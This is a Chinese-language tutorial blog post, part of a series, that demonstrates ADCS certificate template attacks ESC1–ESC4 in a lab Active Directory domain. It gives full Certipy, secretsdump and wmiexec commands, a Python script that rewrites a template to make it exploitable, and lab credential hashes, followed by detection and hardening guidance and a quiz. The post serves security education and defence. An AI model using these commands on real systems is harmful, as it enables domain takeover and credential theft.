iT邦幫忙

2025 iThome 鐵人賽

DAY 13
0
Security

資安這條路:AD 攻防實戰演練系列 第 13

AD 攻防實戰演練 Day 13:ADCS 憑證模板弱點利用 - ESC1~ESC4 提權實戰

  • 分享至 

  • xImage
  •  

前言

經過 Day 12 學習了 ADCS 基礎和 CA 權限濫用,今天要深入探討 ESC 系列攻擊。ESC 是 SpecterOps 研究團隊對 AD CS 域提權場景的編號系統(ESC1-ESC8),這些攻擊利用憑證模板和 CA 的設定缺陷,讓普通使用者能夠取得 Domain Admin 權限。

在 2021 年 6 月發表的《Certified Pre-Owned》白皮書中,Will Schroeder 和 Lee Christensen 系統性地揭露八種主要的攻擊場景,徹底改變了業界對 ADCS 安全的認知。今天我們將聚焦在最常見也最實用的 ESC1-4。

這些攻擊的共同特點是:

  • 濫用憑證服務的「正常」功能
  • 利用設定錯誤而非系統漏洞
  • 取得長期有效的認證憑證

我們將實作四種攻擊手法,從允許自訂身份的 ESC1,到需要修改模板權限的 ESC4,每種都將配合實際的攻擊場景和防禦策略。

學習目標

在完成今天的實作後,將能夠:

  • 理解並識別 ESC1-4 各種憑證模板弱點
  • 執行不同類型的憑證攻擊取得域管理員權限
  • 區分各種 ESC 攻擊的特徵和適用場景
  • 實施相應的防禦和監控措施

前置準備

在開始之前,確保已經完成:

  • 擁有 khal.drogo:horse 憑證(essos.local 域)
  • 安裝 Certipy-AD 工具
  • 了解 ADCS 基本架構
# 確認工具安裝
which certipy
which impacket-secretsdump
which impacket-wmiexec

# 確認網路連通性
ping 192.168.139.12  # MEEREEN (DC)
ping 192.168.139.23  # BRAAVOS (CA)

環境偵察與服務確認

測試 SMB 連線與權限

nxc smb 192.168.139.12 -d essos.local -u khal.drogo -p 'horse'

image

參數說明:

  • nxc = NetExec(CrackMapExec 後繼者)
  • smb = 使用 SMB 協定測試
  • 192.168.139.12 = 目標 DC(MEEREEN)
  • -d essos.local = 指定域名
  • -u khal.drogo = 使用者名稱
  • -p 'horse' = 密碼

尋找 ADCS 服務

nxc ldap 192.168.139.12 -d essos.local -u khal.drogo -p 'horse' -M adcs

image

參數說明:

  • ldap = 使用 LDAP 協定
  • -M adcs = 執行 ADCS 模組,搜尋憑證服務

輸出解讀:

[*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
    搜尋所有憑證註冊服務物件
    
Found PKI Enrollment Server: braavos.essos.local
    發現憑證伺服器位置
    
Found CN: ESSOS-CA
    CA 名稱(攻擊時需要)

測試 CA 伺服器權限

nxc smb 192.168.139.23 -d essos.local -u khal.drogo -p 'horse'

image

關鍵發現:

[+] essos.local\khal.drogo:horse (Pwn3d!)
    (Pwn3d!) = 擁有本地管理員權限!

攻擊環境總結

資產類型 IP 主機名稱 角色 關鍵發現
域控制器 192.168.139.12 MEEREEN DC SMB 簽章啟用
憑證伺服器 192.168.139.23 BRAAVOS CA khal.drogo 是管理員
CA 名稱 - ESSOS-CA - 後續攻擊需要

攻擊路徑確立:

khal.drogo (Domain User) 
    ↓
CA 本地管理員 (BRAAVOS)
    ↓
ESC 系列攻擊可行
    ↓
Domain Admin

ESC1 - 允許申請者提供主體名稱

什麼是 ESC1?

ESC1 是最簡單也最危險的 ADCS 漏洞。想像公司有個「製作員工證」的機器,但這台機器允許任何員工都可以製作一張寫著「我是 CEO」的員工證,而且保全會相信這張證!

ESC1 五個必要條件

ESC1 漏洞需要五個條件同時存在

條件 說明 影響
低權限可申請 Domain Users 有 Enrollment Rights 所有域使用者都能利用
可自訂身份 ENROLLEE_SUPPLIES_SUBJECT = True 可偽裝任意使用者
憑證可認證 包含可認證的 EKU 憑證可通過身份驗證
無需管理員核准 Manager Approval = Disabled 申請立即生效
無需授權簽章 Authorized Signatures = 0 不需額外簽名

可用於認證的 EKU 包括:

  • Client Authentication (1.3.6.1.5.5.7.3.2)
  • PKINIT Client Authentication (1.3.6.1.5.2.3.4) - 非預設啟用,需手動新增但可用於 AD 驗證
  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)
  • Any Purpose (2.5.29.37.0)
  • 無 EKU(例如 SubCA 憑證)

實際攻擊流程

Step 1:偵察階段 - 找出漏洞

# 查看有哪些憑證模板存在漏洞
certipy find -u khal.drogo@essos.local -p 'horse' \
    -vulnerable -dc-ip 192.168.139.12 -stdout

image

快速識別 ESC1 的關鍵指標:

從輸出中尋找這五個條件同時存在:

  1. Enrollee Supplies Subject : True
  2. Client Authentication : True (或其他可認證 EKU) ✅
  3. Enrollment Rights : ESSOS.LOCAL\Domain Users
  4. Requires Manager Approval : False
  5. Authorized Signatures Required : 0

Step 2:偽造身份 - 申請管理員憑證

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target braavos.essos.local \
    -template ESC1 \
    -ca ESSOS-CA \
    -upn administrator@essos.local \
    -dc-ip 192.168.139.12

image

參數說明:

  • -target braavos.essos.local = CA 伺服器位址
  • -template ESC1 = 使用有弱點的模板
  • -ca ESSOS-CA = CA 名稱
  • -upn administrator@essos.local = 偽裝成管理員!
  • -dc-ip = 域控制器 IP

關鍵輸出:

[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Saving certificate and private key to 'administrator.pfx'

Step 3:使用偽造憑證 - 變身管理員

certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12

image

取得了什麼?

  • Administrator 的 NTLM Hash:54296a48cd30259cc88095373cec24da
  • Kerberos TGT 票證:administrator.ccache
  • 完整的 Domain Admin 權限!

Step 4:證明攻擊成功 - 導出所有密碼

# 設定 Kerberos 票證
export KRB5CCNAME=administrator.ccache

# 執行 DCSync,導出所有域內帳號密碼
impacket-secretsdump -k -no-pass essos.local/administrator@meereen.essos.local

image

DCSync 結果分析:

image

如果出現 KeyError: 'Cryptodome.Cipher.AES' 錯誤,這是 Python 3.13 相容性問題,不影響實際提取。

Step 5:使用取得的 NTLM Hash 登入

impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
    administrator@192.168.139.12

image

提取到的憑證整理

🔴 Domain Admin 等級

帳號 NTLM Hash 權限說明
Administrator 54296a48cd30259cc88095373cec24da 最高權限
daenerys.targaryen 34534854d33b398b66684072224bb47a Domain Admin
krbtgt a5df275f8f1573d10758b4de3ab8e53b 黃金票證關鍵

🟡 特殊權限帳號

帳號 NTLM Hash 特殊權限
khal.drogo 739120ebc4dd940310bc4bb5c9d37021 CA 管理員
sql_svc 84a5092f53390ea48d660be52b93b804 SQL 服務

ESC1 攻擊原理分析

為什麼會成功?信任鏈被破壞:

ESC1 攻擊原理分析

就像是:

  1. 你去辦身份證
  2. 櫃台讓你自己填寫所有資料(包括姓名)
  3. 你寫上「我是總統」
  4. 系統就真的認為你是總統了!

ESC2 - 任意用途憑證濫用

什麼是 ESC2?

ESC2 涉及濫用具有 Any Purpose EKUSubCA 憑證模板。這些憑證就像「萬能鑰匙」,可以用於任何用途,包括:

  • 身份認證(以申請者自己的身份)
  • 程式碼簽署
  • 加密
  • 如果是 SubCA,還能簽發其他憑證

重要澄清: ESC2 本身不能直接冒充他人身份。要冒充他人需要結合 ESC1 的條件(ENROLLEE_SUPPLIES_SUBJECT)。

ESC2 的實際風險

憑證類型 能做什麼 不能做什麼
Any Purpose 任何 EKU 用途(認證、簽署等) 直接冒充他人
SubCA 簽發新憑證、建立信任鏈 直接改變自己的身份

實際攻擊流程

Step 1:識別 ESC2 模板

certipy find -u khal.drogo@essos.local -p 'horse' \
    -vulnerable -dc-ip 192.168.139.12 -stdout 

image

ESC2 特徵識別:

Template Name                       : ESC2
Enrollee Supplies Subject           : False    # 不能直接改身份
Any Purpose                         : True     # 萬能憑證!
Extended Key Usage                  : Any Purpose
Enrollment Rights                   : Domain Users # 任何人可申請
Manager Approval                    : False
Authorized Signatures               : 0

[!] Vulnerabilities
    ESC2: Template can be used for any purpose

Step 2:取得 Any Purpose 憑證

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target 192.168.139.23 \
    -template ESC2 \
    -ca ESSOS-CA

image

結果分析:

  • 取得 khal.drogo.pfx
  • 憑證有「Any Purpose」權限
  • 但 UPN 仍是 khal.drogo@essos.local(無法改變身份)

Step 3:使用 Any Purpose 憑證

這個憑證可以:

  1. 用於身份認證(但只能以 khal.drogo 身份)
  2. 簽署程式碼
  3. 加密通訊
  4. 如果環境允許,可能用於其他特權操作

注意: 單純的 ESC2 無法直接提權到 Domain Admin,除非結合其他攻擊手法。如果缺少 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標,攻擊者無法使用 ESC2 範本來請求「作為其他使用者」的驗證憑證。

ESC2 深入理解

Any Purpose 憑證特性:

  • 可用於任意 EKU 用途(客戶端驗證、程式碼簽署、加密等)
  • 但不能改變憑證中的身份(需要 EnrolleeSuppliesSubject)

SubCA(無 EKU)憑證特性:

  • 可簽發新憑證(建立信任鏈)
  • 若未加入 NTAuthCertificates,不能直接做網域驗證
  • 若被加入 NTAuthCertificates,後果極其嚴重

ESC3 - Enrollment Agent 代理攻擊

什麼是 ESC3?

ESC3 利用 Certificate Request Agent (Enrollment Agent) 權限,允許代表其他使用者申請憑證。這是原本設計給 IT 人員幫助使用者處理憑證的功能。

ESC3 需要兩個模板配合

  1. 第一個模板 - 提供 Certificate Request Agent EKU
  2. 第二個模板 - 允許 Enrollment Agent 代理申請,且包含可認證 EKU

額外限制條件

  • 目標模板需為 Schema v1v2+ 且在 Issuance Requirements 指定 Certificate Request Agent
  • CA 若啟用 "Restrict Enrollment Agents",需符合其限制

實際攻擊流程

Step 1:識別 ESC3 模板組合

certipy find -u khal.drogo@essos.local -p 'horse' \
    -vulnerable -dc-ip 192.168.139.12 -stdout 

ESC3-CRA 模板特徵:

Template Name: ESC3-CRA
Certificate Request Agent: True     # 給予代理權限
Client Authentication: False        # 本身不能直接登入
Extended Key Usage: Certificate Request Agent
Enrollment Rights: Domain Users     # 任何人可申請

ESC3 目標模板特徵:

Template Name: ESC3
Application Policies: Certificate Request Agent  # 允許代理
Client Authentication: True         # 可用於認證
Enrollment Rights: Domain Computers # 或其他群組

Step 2:取得代理權限憑證

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target 192.168.139.23 \
    -template ESC3-CRA \
    -ca ESSOS-CA

image

結果:

  • 取得 khal.drogo.pfx
  • 具有 Certificate Request Agent 權限
  • 但不能直接用於登入

Step 3:使用代理權限申請管理員憑證

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target 192.168.139.23 \
    -template ESC3 \
    -ca ESSOS-CA \
    -on-behalf-of 'essos\administrator' \
    -pfx khal.drogo.pfx

image

關鍵參數:

  • -on-behalf-of 'essos\administrator' = 代表管理員申請
  • -pfx khal.drogo.pfx = 使用第一步的 CRA 憑證

Step 4:使用管理員憑證

certipy auth -pfx administrator.pfx \
    -username administrator \
    -domain essos.local \
    -dc-ip 192.168.139.12

image

Step 5:驗證成功

impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
    administrator@192.168.139.12

image

為什麼 ESC3 更隱蔽?

審計日誌對比:

ESC1 日誌 ESC3 日誌
khal.drogo 直接申請 administrator 憑證 ⚠️ khal.drogo 申請 CRA 憑證 ✅
明顯異常行為 代理為 administrator 申請 ✅
- 看似正常 IT 支援流程

ESC4 - 憑證模板 ACL 濫用

什麼是 ESC4?

ESC4 利用對憑證模板的寫入權限進行攻擊。當使用者對憑證模板有修改權限時,可以將安全的模板改成類似 ESC1 的易受攻擊設定。

攻擊原理解析

ESC4 攻擊成功的關鍵在於:

  1. 權限濫用 - 對模板有 Write Property/Write DACL/Full Control
  2. 關鍵修改 - 啟用 ENROLLEE_SUPPLIES_SUBJECT
  3. 新增 EKU - 加入可認證的 EKU
  4. 移除限制 - 清除 Manager Approval 和 Authorized Signatures

實際攻擊流程

Step 1:識別 ESC4 漏洞

certipy find -u khal.drogo@essos.local -p 'horse' \
    -vulnerable -dc-ip 192.168.139.12 -stdout

image

關鍵發現:

Template Name: ESC4
Full Control Principals: ESSOS.LOCAL\khal.drogo
[!] Vulnerabilities
  ESC4: User has dangerous permissions

直接使用 certipy req 注意

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target 192.168.139.23 \
    -template ESC4 \
    -ca ESSOS-CA \
    -upn administrator@essos.local \
    -dc-ip 192.168.139.12
  • 如果直接請求,可能會遇到許多錯誤
    • [-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
    • [-] Got error while requesting certificate: code: 0x80094809 - CERTSRV_E_SIGNATURE_POLICY_REQUIRED - The request is missing required signature policy information.

查資料你可能會遇到使用以下指令會自動更改,但實際上沒有 Work。

certipy template -u khal.drogo@essos.local -p 'horse' \
    -template ESC4 \
    -dc-ip 192.168.139.12

注意:certipy template 指令在某些情況下可能無法自動處理所有模板限制
(如 Email 需求、簽名需求等),因此我們使用 Python 腳本手動修改。

Step 2:查看原始模板設定(重要!)

建議方式一:使用 certutil

certutil -v -dstemplate ESC4

建議方式二:使用 LDAP 查詢

ldapsearch -x -H ldap://192.168.139.12 \
    -D "khal.drogo@essos.local" -w 'horse' \
    -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" \
    -s base

重要: 記錄原始值以便後續還原!

Step 3:修改模板設定

建立 Python 腳本 ESC4.py注意:以下為示意,實際值需根據環境調整):

#!/usr/bin/env python3
"""
警告:此腳本僅供示意,實際屬性名稱與值需根據環境調整
請先使用 certutil -v -dstemplate ESC4 確認實際屬性
"""
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE

# 連接到 LDAP
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse', 
                 authentication=ldap3.NTLM)
conn.bind()

template_dn = ('CN=ESC4,CN=Certificate Templates,'
              'CN=Public Key Services,CN=Services,'
              'CN=Configuration,DC=essos,DC=local')

# 修改模板使其容易受攻擊
changes = {
    # 允許申請者提供主體名稱
    'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
    # 新增 Client Authentication
    'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
    'msPKI-Certificate-Application-Policy': [(MODIFY_REPLACE, 
                                             ['1.3.6.1.5.5.7.3.2'])],
    # 移除 Email 需求
    'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])],
    # 不需要管理員簽名
    'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])]
}

result = conn.modify(template_dn, changes)
print(f"[+] Template modified: {result}")

image

Step 4:等待 AD 同步

echo "[*] Waiting for AD replication (60 seconds)..."
sleep 60

Step 5:申請管理員憑證

certipy req -u khal.drogo@essos.local -p 'horse' \
    -target 192.168.139.23 \
    -template ESC4 \
    -ca ESSOS-CA \
    -upn administrator@essos.local \
    -dc-ip 192.168.139.12

image

成功輸出:

[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Saving certificate and private key to 'administrator.pfx'

Step 6:驗證攻擊成功

impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
    administrator@192.168.139.12

image

Step 7:使用憑證進行身份驗證

certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12

image

Step 8:還原模板(清理痕跡)

重要:使用 Step 2 記錄的原始值還原!

#!/usr/bin/env python3
"""
還原腳本 - 請務必使用 Step 2 記錄的原始值
"""
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE

server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse', 
                 authentication=ldap3.NTLM)
conn.bind()

template_dn = ('CN=ESC4,CN=Certificate Templates,'
              'CN=Public Key Services,CN=Services,'
              'CN=Configuration,DC=essos,DC=local')

# 重要:請將下方的值替換成您在 Step 2 記錄的原始值
restore_changes = {
    'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [您的原始值])],
    'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['您的原始OID'])],
    'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [您的原始值])],
    'msPKI-RA-Signature': [(MODIFY_REPLACE, [您的原始值])]
}

result = conn.modify(template_dn, restore_changes)
print(f"[+] Template restored: {result}")

以下數值僅示意,請務必改成你環境實際的原始值
demo_restore_esc4.py

#!/usr/bin/env python3
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE

print("[*] Connecting to LDAP...")
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse', 
                 authentication=ldap3.NTLM)
conn.bind()

template_dn = ('CN=ESC4,CN=Certificate Templates,'
              'CN=Public Key Services,CN=Services,'
              'CN=Configuration,DC=essos,DC=local')

# 還原到原始 ESC4 設定
print("[*] Restoring original ESC4 template configuration...")
restore_changes = {
    # 原始值:包含 email 需求
    'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [201326593])],
    # Code Signing(原始用途)
    'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.3'])],
    'msPKI-Certificate-Application-Policy': [(MODIFY_REPLACE, 
                                             ['1.3.6.1.5.5.7.3.3'])],
    'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [17])],
    # 需要簽名
    'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])]
}

result = conn.modify(template_dn, restore_changes)
print(f"[+] Template restored: {result}")
print("[✓] ESC4 template has been restored to original configuration")
  • 201326593 說明
# 201326593 = 0xC000001 
# ENROLLEE_SUPPLIES_SUBJECT = 0x00000001
# SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000
# SUBJECT_ALT_REQUIRE_DNS = 0x08000000
# 包含 EnrolleeSuppliesSubject + SubjectAltRequireEmail + SubjectAltRequireDns

更安全的方式:使用 PSPKI 或 GUI

# 使用 PowerShell PSPKI 模組
Import-Module PSPKI
Get-CertificateTemplate -Name "ESC4" | Set-CertificateTemplate -AutoEnroll $false

ESC 攻擊總結與比較

各種 ESC 攻擊特徵對比

攻擊類型 所需條件 攻擊步驟 隱蔽性 實際威脅
ESC1 5個條件同時滿足 1步直接 極高
ESC2 Any Purpose/SubCA 需結合其他攻擊
ESC3 CRA + 目標模板 2步代理
ESC4 模板寫入權限 修改+申請

攻擊決策樹

攻擊決策樹

防禦策略

立即措施

  1. 審查所有憑證模板
# 檢查 ESC1 危險設定
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
Where-Object {
    $_.'msPKI-Certificate-Name-Flag' -band 1 -and
    (
        $_.'pKIExtendedKeyUsage' -match '1\.3\.6\.1\.5\.5\.7\.3\.2|1\.3\.6\.1\.5\.2\.3\.4|1\.3\.6\.1\.4\.1\.311\.20\.2\.2|2\.5\.29\.37\.0' -or
        $_.'pKIExtendedKeyUsage' -eq $null
    ) -and
    ($_.'msPKI-Enrollment-Flag' -band 2) -eq 0 -and
    $_.'msPKI-RA-Signature' -eq 0
} | Select Name, DistinguishedName, pKIExtendedKeyUsage
  1. 限制模板權限
# 移除 Domain Users 的註冊權限
$template = Get-ADObject -Filter {name -eq "VulnerableTemplate"}
$acl = Get-Acl "AD:$($template.DistinguishedName)"
# 審查並移除不當權限
  1. 啟用審計
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable

監控重點

Event ID 描述 重要性 備註
4662 AD 物件存取(模板屬性修改) 🔴 極高 ESC4 即時偵測,需設定 SACL
4899 憑證模板更新 🔴 高 延遲觸發
4900 憑證模板安全性變更 🔴 高 延遲觸發
4886 憑證請求 🟡 中 大量日誌
4887 憑證核准並發放 🟡 中 需關聯分析

注意: Event 4899/4900 為延遲觸發,只在下次憑證申請且 CA 偵測到模板變更時才記錄。

設定 SACL 監控模板修改

# 為憑證模板設定 SACL 以啟用 Event 4662
$templateDN = "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
$acl = Get-Acl "AD:$templateDN"

# 新增審計規則 - 監控所有人的寫入操作
$everyone = [System.Security.Principal.SecurityIdentifier]"S-1-1-0"
$auditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
    $everyone,
    "WriteProperty, WriteDacl, WriteOwner",
    "Success",
    [Guid]::Empty,
    "None"
)

$acl.AddAuditRule($auditRule)
Set-Acl "AD:$templateDN" $acl

# 啟用物件存取審計
auditpol /set /subcategory:"Directory Service Access" /success:enable

長期改善

  1. 實施憑證模板最佳實務
    • 停用不需要的模板
    • 限制 ENROLLEE_SUPPLIES_SUBJECT
    • 要求 Manager Approval 和 Authorized Signatures
    • 限制可認證 EKU 的使用
  2. 定期審查
    • 每月檢查模板設定
    • 審查註冊權限和 ACL
    • 監控異常憑證申請模式
  3. 權限最小化
    • 避免 Domain Users 可註冊敏感模板
    • 限制模板修改權限
    • 實施 Enrollment Agent 限制

重點整理

今天我們深入實作了 ESC1-4 四種憑證攻擊:

  1. ESC1 - 最直接危險,需要五個條件同時滿足
  2. ESC2 - Any Purpose/SubCA 憑證,需結合其他手法才能提權
  3. ESC3 - Enrollment Agent 代理攻擊,最隱蔽
  4. ESC4 - 濫用模板 ACL 權限,將安全模板變成 ESC1

ESC 攻擊類比說明

  • ESC1:像偽造身分證 - 直接說「我是總經理」
  • ESC2:像萬能鑰匙 - 可做任何事但不能變身
  • ESC3:像合法代理人 - 可以幫別人辦證
  • ESC4:像修改規則 - 先改規則再利用

實戰心得

  1. 攻擊者視角:ESC1 最快速,ESC3 最隱蔽,ESC4 需要特殊權限
  2. 防禦者視角:關注五個關鍵設定、權限分配和審計日誌
  3. 紅隊價值:憑證比密碼更持久,不受密碼輪換影響
  4. 藍隊挑戰:需要深入了解 ADCS 架構和各種 EKU 用途

小試身手

問題 1

在 ESC1 攻擊中,以下哪個設定組合構成完整的攻擊條件?

A) EnrolleeSuppliesSubject + Email Protection + Domain Users 可申請
B) EnrolleeSuppliesSubject + Client Authentication + Domain Users 可申請 + Manager Approval Required
C) EnrolleeSuppliesSubject + Client Authentication + Domain Users 可申請 + No Manager Approval + No Authorized Signatures
D) Any Purpose + Code Signing + Domain Users 可申請

答案:C

解析

✅ 選項 C 正確的原因:
根據 SpecterOps 白皮書,ESC1 需要五個條件同時滿足

  1. EnrolleeSuppliesSubject - 允許申請者自行指定憑證主體 ✓
  2. 可認證的 EKU - Client Authentication 是其中之一 ✓
  3. Domain Users 可申請 - 低權限使用者可利用 ✓
  4. No Manager Approval - 申請立即生效 ✓
  5. No Authorized Signatures - 不需額外簽名 ✓

這五個條件缺一不可,選項 C 是唯一包含所有條件的。

❌ 選項 A 錯誤的原因:

  • 缺少 Manager Approval 和 Authorized Signatures 的設定說明
  • Email Protection 不是可認證的 EKU,無法用於身份驗證
  • 只滿足 5 個條件中的 2 個

❌ 選項 B 錯誤的原因:

  • Manager Approval Required 會阻止攻擊
  • 管理員需要手動核准,攻擊者無法自動取得憑證
  • 這是一個安全設定,不是漏洞

❌ 選項 D 錯誤的原因:

  • 沒有 EnrolleeSuppliesSubject,無法自訂身份
  • Code Signing 不是可認證的 EKU
  • 這更像 ESC2 的條件,但不完整

問題 2

關於 ESC2,以下哪個敘述是正確的?

A) ESC2 可以直接讓使用者冒充 Domain Admin
B) ESC2 利用 Any Purpose 憑證進行代理申請攻擊
C) ESC2 取得的 Any Purpose 憑證可用於多種用途,但不能單獨用來冒充他人
D) ESC2 比 ESC3 更隱蔽

答案:C

解析

✅ 選項 C 正確的原因:
根據白皮書,ESC2 的特點是:

  • 取得 Any PurposeSubCA 憑證
  • 這些憑證可用於任何 EKU 用途(認證、簽署、加密等)
  • 不能改變憑證中的身份(需要 EnrolleeSuppliesSubject)
  • 要冒充他人需要結合 ESC1 的條件

❌ 選項 A 錯誤的原因:

  • ESC2 不能直接冒充他人
  • 憑證的 UPN/SAN 仍是申請者自己
  • 需要額外條件(如 ESC1)才能改變身份

❌ 選項 B 錯誤的原因:

  • 代理申請(-on-behalf-of)是 ESC3 的特徵
  • ESC2 不涉及 Enrollment Agent 機制
  • 這是常見的混淆點

❌ 選項 D 錯誤的原因:

  • ESC3 更隱蔽,因為看似正常的 IT 代理流程
  • ESC2 的 Any Purpose 設定較異常,容易被識別

問題 3

ESC3 攻擊需要哪些關鍵元素?

A) 一個 Any Purpose 模板
B) 一個提供 Certificate Request Agent EKU 的模板 + 一個允許代理申請的目標模板
C) 對模板有 Full Control 權限
D) SubCA 憑證

答案:B

解析

✅ 選項 B 正確的原因:
ESC3 的核心機制是 Enrollment Agent(代理) 攻擊:

  1. 第一個模板:提供 Certificate Request Agent EKU
  2. 第二個模板
    • 允許 Enrollment Agent 代理申請
    • 包含可認證的 EKU(如 Client Authentication)
    • Schema v1 或 v2+ 且指定 Application Policy

兩個模板缺一不可,這是 ESC3 的獨特特徵。

❌ 選項 A 錯誤的原因:

  • Any Purpose 是 ESC2 的特徵
  • ESC3 專門使用 Certificate Request Agent,不是 Any Purpose

❌ 選項 C 錯誤的原因:

  • Full Control 權限是 ESC4 的條件
  • ESC3 不需要修改模板,只需要正常申請

❌ 選項 D 錯誤的原因:

  • SubCA 可能用於 ESC2 或 ESC7
  • 不是 ESC3 的必要條件

問題 4

執行 ESC4 攻擊時,最重要的注意事項是什麼?

A) 確保有 Domain Admin 權限
B) 記錄原始模板設定值以便還原
C) 使用 Any Purpose 憑證
D) 等待 Event 4899 即時觸發

答案:B

解析

✅ 選項 B 正確的原因:
ESC4 攻擊的關鍵步驟:

  1. 先查詢並記錄原始值(使用 certutil 或 ldapsearch)
  2. 修改模板設定(啟用 EnrolleeSuppliesSubject 等)
  3. 利用修改後的模板
  4. 還原到原始設定(避免被發現)

不同模板的原始值不同,硬編碼的值可能造成模板損壞。

❌ 選項 A 錯誤的原因:

  • ESC4 的目的是從低權限提升到 Domain Admin
  • 如果已有 DA 權限,不需要 ESC4

❌ 選項 C 錯誤的原因:

  • ESC4 不使用 Any Purpose 憑證
  • ESC4 是修改模板 ACL,不是憑證類型

❌ 選項 D 錯誤的原因:

  • Event 4899/4900 是延遲觸發,不是即時的
  • 只在下次憑證申請且 CA 偵測到變更時才記錄

問題 5

以下哪個 Windows 事件最能幫助偵測 ESC1 攻擊?

A) Event 4882 - 憑證模板權限變更
B) Event 4886 - 憑證請求(檢查 UPN 是否與請求者不同)
C) Event 4768 - Kerberos TGT 請求
D) Event 4899 - 憑證模板更新

答案:B

解析

✅ 選項 B 正確的原因:
偵測 ESC1 的關鍵:

  • Event 4886 記錄所有憑證請求
  • 關鍵檢查點:請求者身份 vs 憑證中的 UPN/SAN
  • 如果 khal.drogo 請求 administrator@essos.local 的憑證 = ESC1
  • 這是最直接的 ESC1 指標

❌ 選項 A 錯誤的原因:

  • Event 4882 不是標準的憑證服務事件
  • ESC4 的即時偵測應該用 Event 4662(需設定 SACL)
  • ESC1 不需要修改模板,利用現有弱點

❌ 選項 C 錯誤的原因:

  • Event 4768 是使用憑證後的認證事件
  • 太晚了,攻擊已經成功
  • 無法區分正常憑證和惡意憑證

❌ 選項 D 錯誤的原因:

  • Event 4899 也是 ESC4 相關(模板更新)
  • 且是延遲觸發,不適合即時偵測

問題 6(進階)

為什麼 ESC3 被認為是最隱蔽的攻擊?

A) 不產生任何日誌
B) 使用加密通道
C) 審計日誌看起來像正常的 IT 支援流程
D) 不需要網路連線

答案:C

解析

✅ 選項 C 正確的原因:

審計日誌對比:

攻擊類型 日誌內容 可疑程度
ESC1 普通用戶請求管理員憑證 🔴 高度可疑
ESC3 IT 人員申請 CRA 憑證 ✅ 看似正常
ESC3 代理為管理員申請憑證 ✅ 像幫忙處理

ESC3 利用了企業常見的「IT 代理申請」場景,很難區分合法和惡意行為。

❌ 其他選項錯誤的原因:

  • A:ESC3 會產生 Event 4886/4887 等日誌
  • B:加密與否取決於環境(LDAPS 等),不是 ESC3 特有
  • D:所有 ESC 攻擊都需要網路連線到 CA 和 DC

上一篇
AD 攻防實戰演練 Day 12:ADCS 憑證服務攻擊 - CA 權限濫用與 Golden Certificate
下一篇
AD 攻防實戰演練 Day 14:ADCS 進階攻擊 - ESC5~ESC8 PKI 物件濫用與 NTLM Relay
系列文
資安這條路:AD 攻防實戰演練14
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言